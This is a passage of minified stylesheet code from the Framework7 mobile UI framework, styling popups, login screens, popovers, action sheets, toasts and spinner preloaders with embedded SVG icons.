(max-width:629px),(max-height:629px){html.with-statusbar .popup-backdrop{z-index:9500}html.with-statusbar.device-ios .popup,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup{height:calc(100% - 24px);top:24px}}@media (min-width:630px),(min-height:630px){html.with-statusbar.device-ios .popup-tablet-fullscreen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup-tablet-fullscreen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup-tablet-fullscreen,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 24px);top:24px}}html.with-modal-popup .framework7-root>.panel .page-content,html.with-modal-popup .framework7-root>.view .page-content,html.with-modal-popup .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.login-screen{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.login-screen.modal-in,.login-screen.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.login-screen.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.login-screen.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.login-screen.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}html.with-statusbar.device-ios .login-screen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .login-screen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .login-screen,html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 24px);top:24px}.login-screen-content{background:#fff}.login-screen-content .block,.login-screen-content .block-footer,.login-screen-content .block-header,.login-screen-content .list,.login-screen-content .login-screen-title{max-width:480px}.login-screen-content .list ul{background:0 0}.login-screen-content .list ul:before{display:none!important}.login-screen-content .list ul:after{display:none!important}.login-screen-content .block-footer,.login-screen-content .block-header{text-align:center;margin-left:auto;margin-right:auto}.login-screen-title{text-align:center}.ios .login-screen-content .block,.ios .login-screen-content .list,.ios .login-screen-content .login-screen-title{margin:25px auto}.ios .login-screen-title{font-size:30px}.ios .theme-dark .login-screen-content,.ios .theme-dark .login-screen-content .list ul{background-color:transparent}.popover-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.popover-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-backdrop.backdrop-in{visibility:visible;opacity:1}.popover{width:260px;z-index:13500;margin:0;top:0;opacity:0;left:0;position:absolute;display:none;-webkit-transition-duration:.3s;transition-duration:.3s}.popover .list{margin:0}.popover .list ul{background:0 0}.popover .list:first-child ul:before{display:none!important}.popover .list:last-child ul:after{display:none!important}.popover.modal-in{opacity:1}.popover.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-inner{overflow:auto;-webkit-overflow-scrolling:touch}.popover-from-actions-bold{font-weight:600}.popover-from-actions-label{line-height:1.3;position:relative}.popover-from-actions-label:last-child:after{display:none!important}.ios .popover{background:rgba(255,255,255,.95);border-radius:13px;-webkit-transform:none;transform:none;-webkit-transition-property:opacity;transition-property:opacity}.ios .popover .list:first-child ul{border-radius:13px 13px 0 0}.ios .popover .list:first-child li:first-child,.ios .popover .list:first-child li:first-child a,.ios .popover .list:first-child li:first-child>label{border-radius:13px 13px 0 0}.ios .popover .list:last-child ul{border-radius:0 0 13px 13px}.ios .popover .list:last-child li:last-child,.ios .popover .list:last-child li:last-child a,.ios .popover .list:last-child li:last-child>label{border-radius:0 0 13px 13px}.ios .popover .list:first-child:last-child li:first-child:last-child,.ios .popover .list:first-child:last-child li:first-child:last-child a,.ios .popover .list:first-child:last-child li:first-child:last-child>label,.ios .popover .list:first-child:last-child ul{border-radius:13px}.ios .popover .list+.list{margin-top:35px}.ios .popover-angle{width:26px;height:26px;position:absolute;left:-26px;top:0;z-index:100;overflow:hidden}.ios .popover-angle:after{content:'';background:rgba(255,255,255,.95);width:26px;height:26px;position:absolute;left:0;top:0;border-radius:3px;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ios .popover-angle.on-left{left:-26px}.ios .popover-angle.on-left:after{left:19px;top:0}.ios .popover-angle.on-right{left:100%}.ios .popover-angle.on-right:after{left:-19px;top:0}.ios .popover-angle.on-top{left:0;top:-26px}.ios .popover-angle.on-top:after{left:0;top:19px}.ios .popover-angle.on-bottom{left:0;top:100%}.ios .popover-angle.on-bottom:after{left:0;top:-19px}.ios .popover-from-actions .list+.list{margin-top:20px}.ios .popover-from-actions .list ul{background:#fff}.ios .popover-from-actions .item-link i.icon{width:29px;height:29px;font-size:29px}.ios .popover-from-actions-label{padding:8px 10px;color:#8a8a8a;font-size:13px;text-align:center}.ios .popover-from-actions-label:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .popover-from-actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .popover-from-actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .popover,.popover.ios .theme-dark{background:rgba(30,30,30,.95)}.ios .theme-dark .popover .popover-angle:after,.popover.ios .theme-dark .popover-angle:after{background:rgba(30,30,30,.95)}.ios .theme-dark .popover .list ul,.popover.ios .theme-dark .list ul{background-color:transparent}.actions-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.actions-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-backdrop.backdrop-in{visibility:visible;opacity:1}.actions-modal{position:absolute;left:0;bottom:0;z-index:13500;width:100%;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);display:none;max-height:100%;overflow:auto;-webkit-overflow-scrolling:touch;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.actions-modal.modal-in,.actions-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.actions-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-modal.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.actions-modal.modal-out{z-index:13499;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:496px){.actions-modal{width:480px;left:50%;margin-left:-240px}}.actions-group{position:relative}.actions-button,.actions-label{width:100%;font-weight:400;margin:0;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;position:relative}.actions-button a,.actions-label a{text-decoration:none;color:inherit;display:block}.actions-button b,.actions-button.actions-button-bold,.actions-label b,.actions-label.actions-button-bold{font-weight:500}.actions-button{cursor:pointer;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.actions-button-media{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-button-text{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.actions-label{line-height:1.3;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-grid .actions-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.actions-grid .actions-button{width:33.33333333%;display:block}.actions-grid .actions-button-media{margin-left:auto;margin-right:auto}.actions-grid .actions-button-text{margin-left:0!important;text-align:center}.ios .actions-group{margin:8px;border-radius:13px;overflow:hidden;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .actions-button,.ios .actions-label{text-align:center;overflow:hidden;background:rgba(255,255,255,.95)}.ios .actions-button b,.ios .actions-button.actions-button-bold,.ios .actions-label b,.ios .actions-label.actions-button-bold{font-weight:600}.ios .actions-button:first-child,.ios .actions-label:first-child{border-radius:13px 13px 0 0}.ios .actions-button:last-child,.ios .actions-label:last-child{border-radius:0 0 13px 13px}.ios .actions-button:last-child:after,.ios .actions-label:last-child:after{display:none!important}.ios .actions-button:first-child:last-child,.ios .actions-label:first-child:last-child{border-radius:13px}.ios .actions-button{height:57px;line-height:57px;font-size:20px;color:#007aff;white-space:normal;text-overflow:ellipsis;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .actions-button.active-state{background:rgba(230,230,230,.9)}.ios .actions-button-media{margin-left:15px}.ios .actions-button-media i.icon{width:29px;height:29px;font-size:29px}.ios .actions-button-media+.actions-button-text{text-align:left;margin-left:15px}.ios .actions-label{font-size:13px;min-height:57px;padding:8px 10px;color:#8a8a8a;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}@media (orientation:lanscape){.ios .actions-label{min-height:44px}.ios .actions-button{height:44px;line-height:44px}}.ios .actions-grid .actions-group{margin-top:0;border-radius:0;background:rgba(255,255,255,.95)}.ios .actions-grid .actions-group:first-child{border-radius:13px 13px 0 0}.ios .actions-grid .actions-group:last-child{border-radius:0 0 13px 13px}.ios .actions-grid .actions-group:first-child:last-child{border-radius:13px}.ios .actions-grid .actions-group:not(:last-child){margin-bottom:0}.ios .actions-grid .actions-button,.ios .actions-grid .actions-label{border-radius:0!important;background:0 0}.ios .actions-grid .actions-button-media{width:48px;height:48px;margin-left:auto;margin-right:auto}.ios .actions-grid .actions-button-media i.icon{width:48px;height:48px;font-size:48px}.ios .actions-grid .actions-button-media+.actions-button-text{text-align:center}.ios .actions-grid .actions-button{padding:16px;line-height:1;height:auto}.ios .actions-grid .actions-button:after{display:none!important}.ios .actions-grid .actions-button.active-state{background:rgba(230,230,230,.9)}.ios .actions-grid .actions-button-text{margin-top:8px;line-height:16px;height:16px;font-size:12px;color:#757575}.ios .actions-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .actions-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .actions-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .actions-label:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .actions-button.color-red,.ios .actions-label.color-red{color:#ff3b30}.ios .actions-button.color-green,.ios .actions-label.color-green{color:#4cd964}.ios .actions-button.color-blue,.ios .actions-label.color-blue{color:#007aff}.ios .actions-button.color-pink,.ios .actions-label.color-pink{color:#ff2d55}.ios .actions-button.color-yellow,.ios .actions-label.color-yellow{color:#fc0}.ios .actions-button.color-orange,.ios .actions-label.color-orange{color:#ff9500}.ios .actions-button.color-gray,.ios .actions-label.color-gray{color:#8e8e93}.ios .actions-button.color-white,.ios .actions-label.color-white{color:#fff}.ios .actions-button.color-black,.ios .actions-label.color-black{color:#000}.ios.device-iphone-x .actions-modal.modal-in{-webkit-transform:translate3d(0,calc(0 - constant(safe-area-inset-bottom)),0);transform:translate3d(0,calc(0 - constant(safe-area-inset-bottom)),0);-webkit-transform:translate3d(0,calc(0 - env(safe-area-inset-bottom)),0);transform:translate3d(0,calc(0 - env(safe-area-inset-bottom)),0)}.sheet-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.sheet-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-backdrop.backdrop-in{visibility:visible;opacity:1}.sheet-modal{position:absolute;left:0;bottom:0;width:100%;height:260px;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:12500}.sheet-modal.modal-in,.sheet-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.sheet-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-modal.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.sheet-modal.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.sheet-modal .sheet-modal-inner{height:100%;position:relative;overflow:hidden}.sheet-modal .toolbar{position:relative;width:100%}.ios .sheet-modal{background:#cfd5da}.ios .sheet-modal .toolbar{background:#f7f7f8}.ios .sheet-modal .toolbar+.sheet-modal-inner{height:calc(100% - 44px)}.ios .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:0}.ios .sheet-modal .toolbar:before{content:'';position:absolute;background-color:#929499;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .sheet-modal .toolbar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .sheet-modal .toolbar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios.device-iphone-x .sheet-modal .sheet-modal-inner>.page-content,.ios.device-iphone-x .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .theme-dark .sheet-modal,.sheet-modal.ios .theme-dark{background-color:#171717}.ios .theme-dark .sheet-modal .toolbar,.sheet-modal.ios .theme-dark .toolbar{background-color:#1b1b1b}.ios .theme-dark .sheet-modal .toolbar:before,.sheet-modal.ios .theme-dark .toolbar:before{background-color:#282829}.toast{-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;position:absolute;max-width:568px;z-index:20000;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box}.toast.modal-in{opacity:1}.toast .toast-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.toast .toast-text{line-height:20px;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.toast .toast-button{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.toast.toast-with-icon .toast-content{display:block;text-align:center}.toast.toast-with-icon .toast-text{text-align:center}.toast.toast-with-icon .toast-icon .f7-icons{font-size:50px;width:50px;height:50px}.toast.toast-with-icon .toast-icon .material-icons{font-size:48px;width:48px;height:48px}.toast.toast-center{top:50%;opacity:0}@media (min-width:1024px){.toast{opacity:0}}html.with-statusbar.device-ios .toast-top,html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top{margin-top:20px}html.with-statusbar.device-iphone-x .toast-top{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}html.with-statusbar.device-android .toast-top,html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top{margin-top:24px}.ios .toast{-webkit-transition-duration:450ms;transition-duration:450ms;background:rgba(0,0,0,.75);opacity:0;width:100%;left:0}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.ios .toast{background:rgba(0,0,0,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}.ios .toast.toast-center{width:auto;left:50%;border-radius:8px;-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.ios .toast.toast-center.modal-in{-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0);opacity:1}.ios .toast.toast-top{top:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ios .toast.toast-top.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}.ios .toast.toast-bottom{bottom:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ios .toast.toast-bottom.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}@media (min-width:569px){.ios .toast{left:50%;margin-left:-284px}.ios .toast.toast-center{margin-left:0}}@media (min-width:569px){.ios .toast{border-radius:8px}.ios .toast.toast-bottom{bottom:15px}.ios .toast.toast-top{top:15px}}@media (min-width:1024px){.ios .toast{margin-left:0;width:auto}.ios .toast.toast-bottom,.ios .toast.toast-top{left:15px}}.ios .toast-content{padding:12px 15px}.ios .toast-button{color:#fff;margin-right:15px}@media (max-width:568px){.ios.device-iphone-x .toast-bottom .toast-content{padding-bottom:calc(12px + constant(safe-area-inset-bottom));padding-bottom:calc(12px + env(safe-area-inset-bottom))}}@media (min-width:569px){.ios.device-iphone-x .toast-bottom{bottom:calc(15px + constant(safe-area-inset-bottom));bottom:calc(15px + env(safe-area-inset-bottom))}}.preloader{display:inline-block;vertical-align:middle}.preloader-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;-webkit-transition-duration:.4s;transition-duration:.4s;visibility:visible;opacity:0;background:0 0}.preloader-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.preloader-backdrop.backdrop-in{visibility:visible;opacity:1}.preloader-modal{position:absolute;left:50%;top:50%;padding:8px;background:rgba(0,0,0,.8);z-index:13500;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.preloader-modal .preloader{display:block!important}html.with-modal-preloader .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.ios .preloader{width:20px;height:20px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%236c6c6c'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E");background-position:50%;background-size:100%;background-repeat:no-repeat;-webkit-animation:ios-preloader-spin 1s steps(12,end) infinite;animation:ios-preloader-spin 1s steps(12,end) infinite}.ios .preloader-modal{border-radius:5px}.ios .preloader-modal .preloader{width:34px;height:34px}.ios .preloader.color-red,.ios .preloader.preloader-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff3b30'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-green,.ios .preloader.preloader-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%234cd964'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-blue,.ios .preloader.preloader-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23007aff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-pink,.ios .preloader.preloader-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff2d55'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D